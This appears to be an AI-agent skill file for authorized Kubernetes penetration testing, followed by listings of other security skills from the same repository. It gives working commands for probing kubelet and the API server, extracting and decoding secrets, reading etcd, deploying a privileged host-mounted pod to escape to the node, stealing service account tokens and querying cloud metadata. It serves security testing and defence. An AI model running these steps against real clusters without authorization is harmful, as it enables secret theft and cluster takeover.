AGENT SKILL

performing-kubernetes-penetration-testing

Evaluates Kubernetes cluster security by actively simulating attacker techniques against the API server, kubelet, etcd, pods, RBAC, network policy, and secrets, using kube-hunter, Kubescape, peirates, and manual kubectl exploitation to find paths to cluster compromise. Use for an authorized penetration test or hands-on validation that controls actually stop an attacker. Keywords: kube-hunter, Kubescape, peirates, kubelet 10250, anonymous auth, token theft, lateral movement, cluster takeover. Do not use for a configuration-only compliance audit - use performing-kubernetes-cis-benchmark-with-kube-bench.

License 许可
Apache-2.0
最近更新
2026-08-31
Stars
★ 3.6w
Forks
4.4k

01 前言 Front Matter

name
performing-kubernetes-penetration-testing
tags
[ "containers", "kubernetes", "security", "penetration-testing", "offensive-security" ]
author
mahipal
domain
cybersecurity
license
Apache-2.0
version
1.0
nist_csf
[ "PR.PS-01", "PR.IR-01", "ID.AM-08", "DE.CM-01" ]
subdomain
container-security
description
Evaluates Kubernetes cluster security by actively simulating attacker techniques against the API server, kubelet, etcd, pods, RBAC, network policy, and secrets, using kube-hunter, Kubescape, peirates, and manual kubectl exploitation to find paths to cluster compromise. Use for an authorized penetration test or hands-on validation that controls actually stop an attacker. Keywords: kube-hunter, Kubescape, peirates, kubelet 10250, anonymous auth, token theft, lateral movement, cluster takeover. Do not use for a configuration-only compliance audit - use performing-kubernetes-cis-benchmark-with-kube-bench.
mitre_attack
[ "T1610", "T1611", "T1609", "T1525" ]

02 资源文件 7

03 SKILL.md 正文

Performing Kubernetes Penetration Testing

Overview

Kubernetes penetration testing systematically evaluates cluster security by simulating attacker techniques against the API server, kubelet, etcd, pods, RBAC, network policies, and secrets. Using tools like kube-hunter, Kubescape, peirates, and manual kubectl exploitation, testers identify misconfigurations that could lead to cluster compromise.

When to Use

  • When conducting security assessments that involve performing kubernetes penetration testing
  • When following incident response procedures for related security events
  • When performing scheduled security testing or auditing activities
  • When validating security controls through hands-on testing

Prerequisites

  • Authorized penetration testing engagement
  • Kubernetes cluster access (various levels for different test scenarios)
  • kube-hunter, kubescape, kube-bench installed
  • kubectl configured
  • Network access to cluster components

Core Concepts

Kubernetes Attack Surface

Component Port Attack Vectors
API Server 6443 Auth bypass, RBAC abuse, anonymous access
Kubelet 10250/10255 Unauthenticated access, command execution
etcd 2379/2380 Unauthenticated read, secret extraction
Dashboard 8443 Default credentials, token theft
NodePort Services 30000-32767 Service exposure, application exploits
CoreDNS 53 DNS spoofing, zone transfer

MITRE ATT&CK for Kubernetes

Phase Techniques
Initial Access Exposed Dashboard, Kubeconfig theft, Application exploit
Execution exec into container, CronJob, deploy privileged pod
Persistence Backdoor container, mutating webhook, static pod
Privilege Escalation Privileged container, node access, RBAC abuse
Defense Evasion Pod name mimicry, namespace hiding, log deletion
Credential Access Secret extraction, service account token theft
Lateral Movement Container escape, cluster internal services

Workflow

Step 1: External Reconnaissance

# Discover Kubernetes services
nmap -sV -p 443,6443,8443,2379,10250,10255,30000-32767 target-cluster.com

# Check for exposed API server
curl -k https://target-cluster.com:6443/api
curl -k https://target-cluster.com:6443/version

# Check anonymous authentication
curl -k https://target-cluster.com:6443/api/v1/namespaces

# Check for exposed kubelet
curl -k https://node-ip:10250/pods
curl http://node-ip:10255/pods  # Read-only kubelet

Step 2: Automated Scanning with kube-hunter

# Install kube-hunter
pip install kube-hunter

# Remote scan
kube-hunter --remote target-cluster.com

# Internal network scan (from within cluster)
kube-hunter --internal

# Pod scan (from within a pod)
kube-hunter --pod

# Generate report
kube-hunter --remote target-cluster.com --report json --log output.json

Step 3: CIS Benchmark Assessment with kube-bench

# Run kube-bench on master node
kube-bench run --targets master

# Run on worker node
kube-bench run --targets node

# Check specific sections
kube-bench run --targets master --check 1.2.1,1.2.2,1.2.3

# JSON output
kube-bench run --json > kube-bench-results.json

# Run as Kubernetes job
kubectl apply -f https://raw.githubusercontent.com/aquasecurity/kube-bench/main/job.yaml
kubectl logs -l app=kube-bench

Step 4: Framework Compliance with Kubescape

# Install kubescape
curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash

# Scan against NSA/CISA hardening guide
kubescape scan framework nsa

# Scan against MITRE ATT&CK
kubescape scan framework mitre

# Scan against CIS Kubernetes Benchmark
kubescape scan framework cis-v1.23-t1.0.1

# Scan specific namespace
kubescape scan framework nsa --namespace production

# JSON output
kubescape scan framework nsa --format json --output kubescape-report.json

Step 5: RBAC Exploitation Testing

# Check current permissions
kubectl auth can-i --list

# Check specific high-value permissions
kubectl auth can-i create pods
kubectl auth can-i create pods --subresource=exec
kubectl auth can-i get secrets
kubectl auth can-i create clusterrolebindings
kubectl auth can-i '*' '*'  # cluster-admin check

# Enumerate service account tokens
kubectl get serviceaccounts -A
kubectl get secrets -A -o json | jq '.items[] | select(.type=="kubernetes.io/service-account-token") | {name: .metadata.name, namespace: .metadata.namespace}'

# Check for overly permissive roles
kubectl get clusterrolebindings -o json | jq '.items[] | select(.subjects[]?.name=="system:anonymous" or .subjects[]?.name=="system:unauthenticated")'

# Test service account impersonation
kubectl --as=system:serviceaccount:default:default get pods

Step 6: Secret Extraction Testing

# List all secrets
kubectl get secrets -A

# Extract specific secret
kubectl get secret db-credentials -o jsonpath='{.data.password}' | base64 -d

# Check for secrets in environment variables
kubectl get pods -A -o json | jq '.items[].spec.containers[].env[]? | select(.valueFrom.secretKeyRef)'

# Check for secrets in mounted volumes
kubectl get pods -A -o json | jq '.items[].spec.volumes[]? | select(.secret)'

# Search etcd directly (if accessible)
ETCDCTL_API=3 etcdctl --endpoints=https://etcd-ip:2379 \
  --cacert=/etc/kubernetes/pki/etcd/ca.crt \
  --cert=/etc/kubernetes/pki/etcd/server.crt \
  --key=/etc/kubernetes/pki/etcd/server.key \
  get /registry/secrets --prefix --keys-only

Step 7: Pod Exploitation

# Deploy test pod with elevated privileges
cat <<EOF | kubectl apply -f -
apiVersion: v1
kind: Pod
metadata:
  name: pentest-pod
  namespace: default
spec:
  hostNetwork: true
  hostPID: true
  containers:
  - name: pentest
    image: ubuntu:22.04
    command: ["sleep", "infinity"]
    securityContext:
      privileged: true
    volumeMounts:
    - name: host-root
      mountPath: /host
  volumes:
  - name: host-root
    hostPath:
      path: /
EOF

# Exec into pod
kubectl exec -it pentest-pod -- bash

# From inside privileged pod - access host filesystem
chroot /host

# From inside any pod - check internal services
curl -k https://kubernetes.default.svc/api/v1/namespaces
cat /var/run/secrets/kubernetes.io/serviceaccount/token

Step 8: Network Policy Testing

# Check for network policies
kubectl get networkpolicies -A

# Test pod-to-pod communication (should be blocked by policies)
kubectl run test-netpol --image=busybox --restart=Never -- wget -qO- --timeout=2 http://target-service.namespace.svc

# Test egress to external services
kubectl run test-egress --image=busybox --restart=Never -- wget -qO- --timeout=2 http://example.com

# Test access to metadata service (cloud environments)
kubectl run test-metadata --image=busybox --restart=Never -- wget -qO- --timeout=2 http://169.254.169.254/latest/meta-data/

Validation Commands

# Verify kube-hunter findings
kube-hunter --remote $CLUSTER_IP --report json

# Cross-validate with Kubescape
kubescape scan framework nsa --format json

# Check remediation effectiveness
kube-bench run --targets master,node --json

# Clean up pentest resources
kubectl delete pod pentest-pod
kubectl delete pod test-netpol test-egress test-metadata

References

04 同仓库更多 Skills

mukul975
mukul975/Anthropic-Cybersecurity-Skills

verifying-build-provenance-with-slsa-sigstore

Verifies artifact signatures and SLSA provenance using Sigstore's cosign (verify, verify-attestation, verify-blob-attestation) and slsa-verifier (verify-artifact), enforcing keyless OIDC builder identity and source repo against SLSA Build levels. Use in CI/CD before deploying artifacts, when consuming third-party attestations, establishing a SLSA Build L3 pipeline, or confirming provenance during incident response or admission control.

Skill与智能体开发
★ 3.6w
mukul975
mukul975/Anthropic-Cybersecurity-Skills

validating-tpm-measured-boot-attestation

Verifies TPM 2.0 measured-boot integrity and remote attestation with tpm2-tools -- reading PCRs (tpm2_pcrread), replaying the boot event log, generating and checking signed quotes (tpm2_quote/tpm2_checkquote), and sealing secrets to a PCR policy. Use to confirm a system booted trusted firmware/kernel for Zero Trust device posture, detect boot-chain tampering via PCR drift, or build a golden-value baseline for fleet attestation.

Skill与智能体开发
★ 3.6w
mukul975
mukul975/Anthropic-Cybersecurity-Skills

validating-backup-integrity-for-recovery

Validates backup integrity through cryptographic hash verification, automated restore testing, corruption detection, and recoverability checks to confirm backups are reliable for disaster recovery and ransomware response. Use before relying on backups for recovery, when building post-backup validation pipelines, auditing backup infrastructure for compliance, or checking immutable/air-gapped backups for silent corruption or tampering.

测试与质量Skill与智能体开发
★ 3.6w
mukul975
mukul975/Anthropic-Cybersecurity-Skills

triaging-windows-with-kape

Runs KAPE (Kroll Artifact Parser and Extractor) to collect targeted forensic artifacts (registry hives, $MFT, event logs, prefetch, browser data) via Targets and parse them with Modules wrapping Eric Zimmerman's EZ Tools (PECmd, MFTECmd, RECmd). Use during early incident containment/triage when full disk imaging is impractical but a defensible, parseable Windows artifact set is needed quickly, including at-scale remote collection.

Skill与智能体开发
★ 3.6w
mukul975
mukul975/Anthropic-Cybersecurity-Skills

triaging-vulnerabilities-with-ssvc-framework

Triages and prioritizes vulnerabilities with CISA's Stakeholder-Specific Vulnerability Categorization (SSVC) decision tree, weighing exploitation status (via the CISA KEV catalog and FIRST EPSS API), technical impact, automatability, and mission prevalence to output Track/Track*/Attend/Act decisions. Use when prioritizing vulnerability scan results (OpenVAS, Nessus, Qualys) for remediation planning beyond raw CVSS scores.

Skill与智能体开发
★ 3.6w
mukul975
mukul975/Anthropic-Cybersecurity-Skills

triaging-security-incident

Performs initial triage of security incidents using the NIST SP 800-61r3 and SANS PICERL frameworks, classifying incident type, assigning priority by business impact, and routing to the appropriate response team. Use when a SIEM/EDR alert needs human classification, concurrent alerts must be prioritized, or a user report or threat-intel IOC match requires initial incident categorization.

Skill与智能体开发
★ 3.6w